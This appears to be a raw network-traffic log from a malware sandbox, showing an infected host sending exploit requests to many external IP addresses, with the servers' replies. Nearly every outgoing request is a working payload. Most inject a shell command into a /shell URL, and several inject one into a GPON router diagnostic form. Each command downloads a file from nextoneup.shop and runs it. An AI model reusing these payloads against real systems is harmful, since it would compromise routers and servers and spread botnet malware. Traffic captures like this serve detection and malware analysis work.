Apr 14, 2024 04:00:39.603266954 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.866394043 CEST	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 14, 2024 04:00:39.866962910 CEST	1289	IN	Data Raw: 64 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d36<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:00:39.866981030 CEST	1289	IN	Data Raw: 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 3a Data Ascii: ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortV
Apr 14, 2024 04:00:39.867424011 CEST	852	IN	Data Raw: 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 65 Data Ascii: var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}e

Session ID	Source IP	Source Port	Destination IP	Destination Port
1196	192.168.2.13	41870	186.7.208.72	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.604665041 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.870551109 CEST	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Apr 14, 2024 04:00:39.871079922 CEST	1289	IN	Data Raw: 64 33 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d36<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Apr 14, 2024 04:00:39.871097088 CEST	1289	IN	Data Raw: 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 6c 69 74 28 22 3a Data Ascii: ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressUshortV
Apr 14, 2024 04:00:39.871561050 CEST	852	IN	Data Raw: 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 6f 20 6f 72 20 6d 6f 72 65 Data Ascii: var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPort;}e

Session ID	Source IP	Source Port	Destination IP	Destination Port
1197	192.168.2.13	33582	52.80.217.220	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.666513920 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.000121117 CEST	384	IN	HTTP/1.1 302 Moved Temporarily Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:39 GMT Content-Type: text/html Content-Length: 110 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1198	192.168.2.13	35426	154.31.215.197	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.668972015 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.985433102 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:39 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1199	192.168.2.13	52940	93.190.199.140	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.676084995 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.009769917 CEST	470	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:39 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 278 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.13	59966	139.162.20.153	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.681596041 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.13	35040	125.23.46.59	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.952737093 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.397860050 CEST	175	IN	HTTP/1.1 400 Bad Request Server: AR Date: sun, 14 apr 2024 07:30:40 GMT Pragma: no-cache Cache-Control: no-store Content-Length: 11 Connection: Keep-Alive Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.13	58186	23.198.87.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.640621901 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:40.867468119 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:40 GMT Date: Sun, 14 Apr 2024 02:00:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 64 66 63 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 30 26 23 34 36 3b 34 37 30 38 66 61 65 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 64 66 63 33 31 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 30 26 23 34 36 3b 34 37 30 38 66 61 65 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.dfc3117.1713060040.4708fae5<P>https://errors.edgesuite.net/9.dfc3117.1713060040.4708fae5</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.13	33372	63.195.174.53	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.641385078 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.13	35400	42.98.188.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.967911959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.13	36628	79.171.67.33	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:40.967940092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.13	45514	34.36.39.20	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.057086945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.315344095 CEST	489	IN	HTTP/1.1 404 Not Found x-guploader-uploadid: ABPtcPrXA5lOHvbPzB__OZJyxcdHPTn9ar0rA5-s_c7b3P8KDvaoOhXEYLFxEkFcBgqiK-dFp6Fi43EQjQ content-type: application/xml; charset=UTF-8 Content-Length: 127 date: Sun, 14 Apr 2024 02:00:43 GMT expires: Sun, 14 Apr 2024 02:00:43 GMT cache-control: private, max-age=0 server: UploadServer via: 1.1 google Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 3c 45 72 72 6f 72 3e 3c 43 6f 64 65 3e 4e 6f 53 75 63 68 4b 65 79 3c 2f 43 6f 64 65 3e 3c 4d 65 73 73 61 67 65 3e 54 68 65 20 73 70 65 63 69 66 69 65 64 20 6b 65 79 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 4d 65 73 73 61 67 65 3e 3c 2f 45 72 72 6f 72 3e Data Ascii: <?xml version='1.0' encoding='UTF-8'?><Error><Code>NoSuchKey</Code><Message>The specified key does not exist.</Message></Error>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.13	44120	54.67.63.127	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.058677912 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.13	38012	50.2.133.75	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.093584061 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.307751894 CEST	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:02:52 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.13	38292	138.186.189.181	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.168239117 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:44.040273905 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.800260067 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.512274981 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.680259943 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:10.760210991 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:40.456207991 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.13	49396	185.242.83.139	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.209278107 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.533983946 CEST	416	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:43 GMT Server: Apache Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.13	43446	128.199.34.29	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:43.209326982 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:43.539532900 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:43 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 